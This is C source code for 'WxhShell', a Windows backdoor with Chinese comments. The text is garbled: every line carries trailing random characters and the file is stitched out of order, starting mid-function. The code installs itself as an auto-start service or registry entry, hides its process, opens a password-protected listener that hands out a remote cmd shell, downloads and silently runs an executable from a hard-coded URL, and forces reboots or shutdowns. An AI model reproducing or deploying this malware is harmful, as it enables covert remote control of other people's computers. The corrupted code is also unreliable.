  // 关机 ROlef;/A  
  case 'd': {  s6bILz-u  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ~b}a|K  
    if(Boot(SHUTDOWN)) 0{^@kxV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |5oK04<  
    else { UCG8=+t5T  
    closesocket(wsh); '3TwrY?-  
    ExitThread(0); H .*:+  
    } f!%G{G^`  
    break; AFE6@/'  
    } F0:|uC4  
  // 获取shell $\M<gW6  
  case 's': {  J@sH(S  
    CmdShell(wsh); 6_]-&&Nr  
    closesocket(wsh); 4Vl_vTz{i  
    ExitThread(0); eG&\b-%  
    break; "O{j}QwY  
  } rH*1bDL  
  // 退出 5b>-t#N,  
  case 'x': {  yY_(o]k  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); XtY!fo *  
    CloseIt(wsh); 1N6.r:wg)%  
    break; h DpIwzJ  
    } 7=i8$v&GX  
  // 离开 YXz*B5R  
  case 'q': { K.)ionb  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); <Hd8Jd4f  
    closesocket(wsh); vUm#^/#I  
    WSACleanup(); 'D`O4TsP>  
    exit(1); 8XJg  
    break; ).U\,@[A{  
        } ^j]"!:h  
  } mN^w?R41m  
  } jz,Mm,Gi  
7k,pUC-w7c  
  // 提示信息 _gU:!:}  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?YE'J~0A6  
} -#<6  
  } v: \8  
4/KGrY! ck  
  return; 4<V%7z_.B  
} 3y^PKIIrt  
%Ms"LoK  
// shell模块句柄 X$*MxMNs  
int CmdShell(SOCKET sock) Pq\ `0/4_  
{ kY>jp@w V  
STARTUPINFO si; mzw`{Oy>L  
ZeroMemory(&si,sizeof(si)); e&~vO| 3w%  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; w`BY>Xft0  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Kny0 (  
PROCESS_INFORMATION ProcessInfo; eTg8I/ )%B  
char cmdline[]="cmd"; "/e_[_j  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); (LiS9|J!  
  return 0; :ohGG ,`Dh  
} a ?D]]0%  
 +kA>^  
// 自身启动模式 1oKF-";u(  
int StartFromService(void) .8o?`  
{ h/oRWl0r  
typedef struct X0:V5 e  
{ sX8d8d`}  
  DWORD ExitStatus; Xir ERc.e  
  DWORD PebBaseAddress; 8;PS>9<  
  DWORD AffinityMask; rA+UftC:p6  
  DWORD BasePriority; SEfRU`  
  ULONG UniqueProcessId; r]q;>\T'  
  ULONG InheritedFromUniqueProcessId; /80H.|8O  
}   PROCESS_BASIC_INFORMATION; ]MD,{T9l\>  
zM+4<k_dH]  
PROCNTQSIP NtQueryInformationProcess; LZ#=Ks  
pbCj ^  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; {6 #Qm7s-  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; -VZn`6%s  
DWv(|gO  
  HANDLE             hProcess; cNbH:r"Ay  
  PROCESS_BASIC_INFORMATION pbi; e p jb  
7eNLs  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); mM9aT0_w  
  if(NULL == hInst ) return 0; [^Z)f<l  
2[!3!@.  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); u+/Uc:XK)  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); {c  : 7:  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); n?KhBJx 4  
q ~%'V  
  if (!NtQueryInformationProcess) return 0; 4nsc`Hu  
]ilQq~X  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 1.9bU/X  
  if(!hProcess) return 0; (@DqKB  
!S.O~Kq  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,(u-q]8   
]?< wUd  
  CloseHandle(hProcess); l4s*+H$vd?  
jKh:}yl4  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); }_/]f!]  
if(hProcess==NULL) return 0; xzi_u.iOP  
 =oE(ur  
HMODULE hMod; ~<N9ckK  
char procName[255]; =K)[3mX X  
unsigned long cbNeeded; {EfA#{x  
QdIx@[+WOq  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); _sb~eB~<(  
i:a*6b.U@N  
  CloseHandle(hProcess); zif&;)wV/  
c"O4=[N: ;  
if(strstr(procName,"services")) return 1; // 以服务启动 Y#,&Tu  
s.X .SJ  
  return 0; // 注册表启动 T,a71"c  
} '[Sm w'n6-  
|}7!'f\M  
// 主模块 ]'NL-8x">  
int StartWxhshell(LPSTR lpCmdLine) nt&"? /s  
{ 1[yy/v'q  
  SOCKET wsl; YdZ9##IU3  
BOOL val=TRUE; #<LJns\t   
  int port=0; z''ejq  
  struct sockaddr_in door; 85x34nT  
C66 9:%  
  if(wscfg.ws_autoins) Install(); HNRAtRvnY  
|.4>#<$__  
port=atoi(lpCmdLine);  Vp7d  
MY60%  
if(port<=0) port=wscfg.ws_port; eRqPZb"6MR  
J$W4AT  
  WSADATA data; T@Bu Fr`]<  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; _Sg"|g  
gSa!zQN6  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   {/FdrS  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); >\!G43Q=  
  door.sin_family = AF_INET; Z2U6<4?1%  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); (@1>G ^%  
  door.sin_port = htons(port); CnpQdI  
fsl ZJE  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~.tl7wKkR/  
closesocket(wsl); \.aKxj5  
return 1; 4tEAi4H|`@  
} NXk~o!D  
F pT$D  
  if(listen(wsl,2) == INVALID_SOCKET) { )Q 5 x%  
closesocket(wsl); dWx@<(`OC  
return 1; VA>0Y  
} p,V%wGM  
  Wxhshell(wsl); k|czQ"vaI  
  WSACleanup(); zcC:b4  
 Y(  
return 0; =P9Tc"2PN  
zs(P2$  
} o}&{Y2!x  
m-qu<4A/U|  
// 以NT服务方式启动 d8uDSy  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ]K3bDU~  
{ .kU}x3m  
DWORD   status = 0; U(PW$\l  
  DWORD   specificError = 0xfffffff; oTRid G  
A0>r]<y  
  serviceStatus.dwServiceType     = SERVICE_WIN32; i&1rf|  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; C B`7KK  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; [8<0Q_?,  
  serviceStatus.dwWin32ExitCode     = 0; Qgf\"s  
  serviceStatus.dwServiceSpecificExitCode = 0; Ge @qvP_  
  serviceStatus.dwCheckPoint       = 0; ^AShy`o^X  
  serviceStatus.dwWaitHint       = 0; Z l;TS%$  
1:iB1TclP  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); *8J 0yv  
  if (hServiceStatusHandle==0) return; aNn4j_V(  
aX~Jk >a0  
status = GetLastError(); V.9p4k`  
  if (status!=NO_ERROR) I94-#*~I  
{ jo?[M  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ~F53{qxV  
    serviceStatus.dwCheckPoint       = 0; l}iQ0v@  
    serviceStatus.dwWaitHint       = 0; 3GNcnb  
    serviceStatus.dwWin32ExitCode     = status; z9:yt5ar  
    serviceStatus.dwServiceSpecificExitCode = specificError; (&1.!R[X  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]bAVOKm-  
    return; =]5f\f6  
  } Yi]`"\  
5A$,'%d  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; OTGy[jY"  
  serviceStatus.dwCheckPoint       = 0; Zb&pH~ 7  
  serviceStatus.dwWaitHint       = 0; !g`I*ZE+e  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); w=CzPNRHH!  
} p>O/H1US;  
qDTdYf  
// 处理NT服务事件,比如:启动、停止 D66NF;7q  
VOID WINAPI NTServiceHandler(DWORD fdwControl) fJP *RVz  
{ |VzXcV-"8)  
switch(fdwControl) : h(Z\D_  
{ gkX7,J-0  
case SERVICE_CONTROL_STOP: 0VrsbkS  
  serviceStatus.dwWin32ExitCode = 0; {n&n^`Em  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Z)IF3{*  
  serviceStatus.dwCheckPoint   = 0; D)bL;h  
  serviceStatus.dwWaitHint     = 0; xFekSH7[F  
  { (c&%1bJ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); IBvn q8\  
  } e/_QS}OA  
  return; pGfGGY>i%  
case SERVICE_CONTROL_PAUSE: #?k</~s6M`  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; |d z2Drc  
  break; 0WfnX>(C7R  
case SERVICE_CONTROL_CONTINUE: eM 5#L,Y{  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; z@ J>A![m  
  break; kt0xR)gU  
case SERVICE_CONTROL_INTERROGATE: #s81 k@#X  
  break; ML MetRP  
}; ,NvXpN  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7p hf  
} .heU Ir,  
REgM  
// 标准应用程序主函数 j>e RV ol  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) kMK0|+  
{ Mo<q(_ZeRP  
c_CVZR?  
// 获取操作系统版本 g~b$WV%  
OsIsNt=GetOsVer(); @ZjO#%Ep/  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Z:<an+v|5  
-)B_o#2=2  
  // 从命令行安装 gwsIzYV  
  if(strpbrk(lpCmdLine,"iI")) Install(); PqL. ^  
jVLJ qWP'!  
  // 下载执行文件 Xz)qtDN|(  
if(wscfg.ws_downexe) { <5mv8'{L  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) #Q)r6V:  
  WinExec(wscfg.ws_filenam,SW_HIDE); |:&O!36  
} y.I&x#(^  
f1v4h[)-  
if(!OsIsNt) { UPP"-`t  
// 如果时win9x,隐藏进程并且设置为注册表启动 #qmsZHd}b  
HideProc(); SE43C %hv  
StartWxhshell(lpCmdLine); "/RMIS K[;  
} JBLUX,  
else <&3aP}  
  if(StartFromService()) ez!W0  
  // 以服务方式启动 ^H7xFd|>  
  StartServiceCtrlDispatcher(DispatchTable); Ef?hkq7X<  
else 7)Vbp--b#  
  // 普通方式启动 iF MfBg  
  StartWxhshell(lpCmdLine); nT}Wx/aT  
F81EZ/  
return 0; N6of$p'N  
} T)OR HJ&,  
xpO;V}M|  
;@Fb>l BhX  
4p-"1 c$  
=========================================== /gl8w-6  
0^dYu /i5  
|6b~c{bt  
}% q-9  
enZZ+|h  
cV0CI&  
" ,c  ^nW  
"OK[uug  
#include <stdio.h> Q!qD3<?5  
#include <string.h> +0z7}u\x  
#include <windows.h> /5/gnp C  
#include <winsock2.h> &Jb\}c}  
#include <winsvc.h> kE .4 #  
#include <urlmon.h> TwI s _r:  
#=S^i[K/  
#pragma comment (lib, "Ws2_32.lib") ;*t#:U*  
#pragma comment (lib, "urlmon.lib") -y$6gCRY  
ls&H oJ7  
#define MAX_USER   100 // 最大客户端连接数 {QylNC9  
#define BUF_SOCK   200 // sock buffer mB"I(>q*M  
#define KEY_BUFF   255 // 输入 buffer {ri={p]l  
jLt3jN  
#define REBOOT     0   // 重启 LtX53c  
#define SHUTDOWN   1   // 关机 R'zi#FeP  
.?Y"o3  
#define DEF_PORT   5000 // 监听端口 <=&$+3r  
Q8AAu&te7  
#define REG_LEN     16   // 注册表键长度 +x}9a~QG#  
#define SVC_LEN     80   // NT服务名长度 P "IR3=  
V`#2jDz  
// 从dll定义API q)Nw$dW<  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); b^C27s  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); % g  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); .kg 3>*  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); oPr`SYB  
t1o 6;r K  
// wxhshell配置信息 T:Nk9t$W7@  
struct WSCFG { 1S!}su,uH  
  int ws_port;         // 监听端口 >@Ht*h{~  
  char ws_passstr[REG_LEN]; // 口令 qf\W,SM  
  int ws_autoins;       // 安装标记, 1=yes 0=no ?.%dQ0  
  char ws_regname[REG_LEN]; // 注册表键名 r>FwJm!  
  char ws_svcname[REG_LEN]; // 服务名 |,:p[Oy  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 +llb{~ZN  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 `62v5d*>a  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 4Ex&AR8  
int ws_downexe;       // 下载执行标记, 1=yes 0=no :,aY|2si  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" !|xB>d q?  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ed#fDMXGQ%  
+"<+JRI(M5  
}; O_a^|ln&  
(~zu4^9w  
// default Wxhshell configuration rf%lhBv  
struct WSCFG wscfg={DEF_PORT, 4xmJQ>/  
    "xuhuanlingzhe", J|f29B-c  
    1, -'d:~:1f  
    "Wxhshell", jL^@;"/XhC  
    "Wxhshell", EUuSN| a  
            "WxhShell Service", G/Sp/I<d  
    "Wrsky Windows CmdShell Service", 4BCe;Q^6  
    "Please Input Your Password: ", eN,9N]K  
  1, ga%\n!S  
  "http://www.wrsky.com/wxhshell.exe", O8$~dzf,2  
  "Wxhshell.exe" ApeqbD5g&  
    }; IoLi7NKw  
s__xBY  
// 消息定义模块 sV a0eGc  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; \Dq'~ d  
char *msg_ws_prompt="\n\r? for help\n\r#>"; rN} 8~j  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; KoNu{TJ  
char *msg_ws_ext="\n\rExit."; N~8H\  
char *msg_ws_end="\n\rQuit."; }-Mg&~e`  
char *msg_ws_boot="\n\rReboot..."; d2#NRqgQ  
char *msg_ws_poff="\n\rShutdown..."; e7@ m i  
char *msg_ws_down="\n\rSave to "; ai sa2#  
pvyEs|f=%  
char *msg_ws_err="\n\rErr!"; oc( '!c  
char *msg_ws_ok="\n\rOK!"; WSH[*jMA  
FefroaJ:u  
char ExeFile[MAX_PATH]; n>q!m@ }<  
int nUser = 0; %T]^,y$n  
HANDLE handles[MAX_USER]; K9k!P8Rd  
int OsIsNt; Q*>)W{H&)  
x5Lbe5/P  
SERVICE_STATUS       serviceStatus; *7h~0%WR  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; b+|Jw\k  
@}d;-m~  
// 函数声明 6(`N!]e*L  
int Install(void); <N=k&\  
int Uninstall(void); YJ6~P   
int DownloadFile(char *sURL, SOCKET wsh); T[|#DMg$F  
int Boot(int flag); Qs,\P^n  
void HideProc(void); !2Nk  
int GetOsVer(void); xjo`u:BH  
int Wxhshell(SOCKET wsl); <C'_:&M  
void TalkWithClient(void *cs); kPs?  
int CmdShell(SOCKET sock);  80@\e  
int StartFromService(void); Bgm8IK)6  
int StartWxhshell(LPSTR lpCmdLine); a(A~S u97  
W|>jj$/o  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); QLO;D)fC  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); NLMvi!5w,  
FFcCoPX_  
// 数据结构和表定义 Z2$_9.  
SERVICE_TABLE_ENTRY DispatchTable[] = `;6M|5G  
{ imYfRi=$  
{wscfg.ws_svcname, NTServiceMain}, H<_Tn$<zH.  
{NULL, NULL} 3s!6rT_=)d  
}; ^~[7])}g6  
bu _ @>`S  
// 自我安装 E #,"C`&*  
int Install(void) s0?'mC+p  
{ %`&n ;K.c  
  char svExeFile[MAX_PATH]; p<r<Y %  
  HKEY key; 7_1 Iadb  
  strcpy(svExeFile,ExeFile); ZxnPSA@%  
'lZlfS:Z8  
// 如果是win9x系统,修改注册表设为自启动 ES+ CAwqf  
if(!OsIsNt) { pKc!sd C  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  _'!?fA  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); kuH%aM<R  
  RegCloseKey(key); ;]-08lzO<4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { dP8qP_77A~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); jV sH  
  RegCloseKey(key); ]AY 4bm  
  return 0; Ww-x+U\l  
    } vTK%8qoZ  
  } k2D*`\ D  
} tw$EwNI[  
else { J=3{<Xl  
4P3RRS  
// 如果是NT以上系统,安装为系统服务 Pw<?Dw]m  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ~DK.Y   
if (schSCManager!=0) x *I'Ar  
{ 0(y*EJA$  
  SC_HANDLE schService = CreateService U7x  
  ( V|'@D#\  
  schSCManager, "mJo<i}  
  wscfg.ws_svcname, lubsLI  
  wscfg.ws_svcdisp, #EzhtuHxn  
  SERVICE_ALL_ACCESS, %]LoR$|Y  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , L>14=Pr^(  
  SERVICE_AUTO_START, Z2]0brV  
  SERVICE_ERROR_NORMAL, mKe6rEUs|  
  svExeFile, =T[P  
  NULL, daKZ*B|  
  NULL, gtuSJ+up  
  NULL, n{4iW_/D  
  NULL, zq</(5H  
  NULL ]"T157F  
  ); H2jypVs$2  
  if (schService!=0) A5Jadz~  
  { Dr.eos4 ~  
  CloseServiceHandle(schService); ; pBLmm*F  
  CloseServiceHandle(schSCManager); u;t<rEC2  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 1 Gr^,Ry  
  strcat(svExeFile,wscfg.ws_svcname); -KGJr  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 0BC @wV  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ~%*l>GkP*  
  RegCloseKey(key); U%@PY9#  
  return 0; ">Qxb.Y}  
    } mx}5":}  
  } h~#F2#.  
  CloseServiceHandle(schSCManager); ;&j'`tP  
} )W\ )kDh!  
} SdlO]y9E  
O<s7VHj  
return 1; . \a+m  
} ]x metv|7  
Ms6 ;iW9  
// 自我卸载 pA.orx  
int Uninstall(void) T/|!^qLF  
{ \2/X$x<?X  
  HKEY key; _ooHB>sH  
t[!,puZc#  
if(!OsIsNt) { M#^q <K %  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { D/=05E%[81  
  RegDeleteValue(key,wscfg.ws_regname); k$%{w\?Jf  
  RegCloseKey(key); #eKKH]J/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { a^&"gGg  
  RegDeleteValue(key,wscfg.ws_regname); }` 3-  
  RegCloseKey(key); 8 siP  
  return 0; k H65k (  
  } ??nT[bhQ  
} _]*[TGap  
} Mt4]\pMUb  
else { #6@hVR.  
0t!ZMH  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); .'M.yE~5J  
if (schSCManager!=0) my sXgS&S  
{ bq7+l4CGTv  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ]xvhUv!G  
  if (schService!=0) YTTy6*\,_  
  { .K~V DUu  
  if(DeleteService(schService)!=0) { On);SN'  
  CloseServiceHandle(schService); O])vR<[  
  CloseServiceHandle(schSCManager); vltE2mb  
  return 0; zk$h71<{.  
  } {($mLfC4  
  CloseServiceHandle(schService); c= 2E/x?  
  } C3 "EZe[R  
  CloseServiceHandle(schSCManager); <IR@/b!,  
} i-0 :Fs  
} ;fqp!|J  
LF.i0^#J  
return 1; X#axCDM-  
} EO+Ix7w  
TQeIAy  
// 从指定url下载文件 %rs2{Q2k  
int DownloadFile(char *sURL, SOCKET wsh) uvl91~&G  
{ fAStM:  
  HRESULT hr; S3x^#83  
char seps[]= "/"; s8(Z&pQ  
char *token; <6]Hj2  
char *file; \KJTR0EB:>  
char myURL[MAX_PATH]; iJ58RY  
char myFILE[MAX_PATH]; 4Ty?>'*|  
xy>$^/[$  
strcpy(myURL,sURL); / w dvm4  
  token=strtok(myURL,seps); \|X 1  
  while(token!=NULL) [ x>Pf1  
  { %+/v")8+?  
    file=token; 1<x5{/CZ  
  token=strtok(NULL,seps);  e#5WX  
  } j\KOKvY)  
v0WB.`rO  
GetCurrentDirectory(MAX_PATH,myFILE); u@D5SkT  
strcat(myFILE, "\\"); tx;2C|S$oU  
strcat(myFILE, file); 3 a(SmM:  
  send(wsh,myFILE,strlen(myFILE),0); A["6dbvv  
send(wsh,"...",3,0); GAH<  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 8Ie0L3d-  
  if(hr==S_OK) |qpm  
return 0; @I Y<i5(  
else Flpl,|n a  
return 1; 2FL_!;p;2E  
1;./e&%%  
} zk70D_}L  
vyc<RjS_x  
// 系统电源模块 d<?Zaehe\  
int Boot(int flag) :OU(fz]  
{ ~+ae68{p  
  HANDLE hToken;  U'b}%[  
  TOKEN_PRIVILEGES tkp; LkeYzQH/l  
eiOAbO#U  
  if(OsIsNt) { 6/QWzw.0c  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); hDJ+Rk@  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Wsd_RT}ww  
    tkp.PrivilegeCount = 1; ,f>^ q"  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;  b%F'Ou~  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); fm^tU0DY  
if(flag==REBOOT) { LVP6vs  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) tvJl-&'N  
  return 0; G|?V}pZ  
} 9[{q5  
else { F9w2+z.  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) o}36bi{  
  return 0; Z^F>sUMR  
} tm34Z''.>  
  } mFpj@=^_G  
  else { [PrJf"Z "  
if(flag==REBOOT) { -[=@'N P  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) LUx'Dm"  
  return 0; T}p|_)&y  
} VKXB)-'L  
else { L(y~ ,Kc  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) HE4S%#bH>  
  return 0; Qc9[/4R>  
} mV7_O//  
} |[V6R\l39  
-K^(L #G  
return 1; ;(g"=9e  
} oPAc6ObOV~  
y#ON=8l  
// win9x进程隐藏模块 _n*gj-  
void HideProc(void) '+|uv7|+v  
{ <+ <o X"I  
@ bvWqMa  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); {dl@ #T u  
  if ( hKernel != NULL ) EA:_PBZ  
  { s0Y7`uD^  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");  !vr A\d  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); W70BRXe04D  
    FreeLibrary(hKernel); %&O'>L  
  } _=5\$6  
,E(M<n|.  
return; wGz_IL.D  
} w@N)Pu  
6>d 3*   
// 获取操作系统版本 '~6l 6wi  
int GetOsVer(void) SZgan  
{ ^3&-!<*  
  OSVERSIONINFO winfo; tN)Vpb\J  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ' #r^W2  
  GetVersionEx(&winfo); a- /p/ I-%  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) n  8|  
  return 1; /X\:3P  
  else e+MsFXnB8  
  return 0; 8/9YR(H3H  
} Yj>\WH  
toox`|  
// 客户端句柄模块 <dY{@Cgw=  
int Wxhshell(SOCKET wsl) VDy_s8Z#  
{ %+$!ctn  
  SOCKET wsh; Gm\jboef]  
  struct sockaddr_in client; {2&MyxV  
  DWORD myID; ^6 ,}*@  
mc6W"  
  while(nUser<MAX_USER) L-3wez;hm  
{ F.R0c@&W  
  int nSize=sizeof(client); aOW~! f/M  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); \?k"AtL  
  if(wsh==INVALID_SOCKET) return 1; tUFXx\p  
(5^SL Y  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); <,'^dR7,  
if(handles[nUser]==0) j62oA$z  
  closesocket(wsh); ~qW"v^<  
else <daBP[  
  nUser++; sr.!EQ]  
  } Eid~4a  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); B{_-k  
A%#."2vq~  
  return 0; h3-dJgb  
} *5'l"YQ@1  
Su`] ku'  
// 关闭 socket Fc"+L+h@W  
void CloseIt(SOCKET wsh)  O6!:Qd  
{ m3b?f B  
closesocket(wsh); 1b"3]?  
nUser--; }l@7t&T|  
ExitThread(0); 3n TpL#  
} =hKu85  
g>Kh? (  
// 客户端请求句柄 5NYYrA8,^  
void TalkWithClient(void *cs) cA B^]j  
{ ZP7wS  
oo,3mat2C  
  SOCKET wsh=(SOCKET)cs; (<5&<JC{  
  char pwd[SVC_LEN]; 0bMbM^xV6  
  char cmd[KEY_BUFF]; T+<OlXpL  
char chr[1]; o,y {fv:ki  
int i,j; /\uW[mt  
|Q~5TL>b  
  while (nUser < MAX_USER) { :sb+jk  
"C%* 'k  
if(wscfg.ws_passstr) { ^cYt4NHXn  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ZGWZ2>k  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Q-S5("  
  //ZeroMemory(pwd,KEY_BUFF); /T/7O  
      i=0; h|&qWv  
  while(i<SVC_LEN) { so\8.(7n  
xHdv?69,  
  // 设置超时 N%+C5e<  
  fd_set FdRead; [kg*BaG:  
  struct timeval TimeOut; [ U?a %$G>  
  FD_ZERO(&FdRead); 0\^K\J ,.  
  FD_SET(wsh,&FdRead); ?9AtFT  
  TimeOut.tv_sec=8; 9ioV R  
  TimeOut.tv_usec=0; ?t];GNU`l  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); xYWg1e$k  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); E./Gt.Na  
J"RmV@|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C")NN s =  
  pwd=chr[0]; ?f[U8S}  
  if(chr[0]==0xd || chr[0]==0xa) { GGwHz]1L  
  pwd=0; FiJU *  
  break; Jx1JtnyP@  
  } c1Ta!p{%  
  i++; MDKiwT@#  
    } #~88[i-6  
,;wc$-Z!8  
  // 如果是非法用户,关闭 socket :>otlI<0t  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); q'awV5y  
} E#cZM>  
.9;wJ9Bw[  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 5%Q[X  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); k%?A=h  
eMC0 )B  
while(1) { _-g?6q  
u9%)_Q!14  
  ZeroMemory(cmd,KEY_BUFF); }7jg>3ng(  
-( ,iwF b  
      // 自动支持客户端 telnet标准   VWa;;?IK  
  j=0; q+-Bl  
  while(j<KEY_BUFF) { Syj7K*,%bZ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -%x9^oQwY  
  cmd[j]=chr[0]; |CFTOe\ q  
  if(chr[0]==0xa || chr[0]==0xd) { DR6 OR B7  
  cmd[j]=0; (*2kM|  
  break; 0<T/P+|  
  } wsNM'~(  
  j++; Mw+8p}E  
    } -=D6[DjU<  
d4zqLD$A  
  // 下载文件 5 5T c  
  if(strstr(cmd,"http://")) { c,I|O' &k  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); cU'^ Ja?%  
  if(DownloadFile(cmd,wsh)) C6C7*ks  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0);  Z,osdF  
  else |YAnd=$  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "Aq-H g  
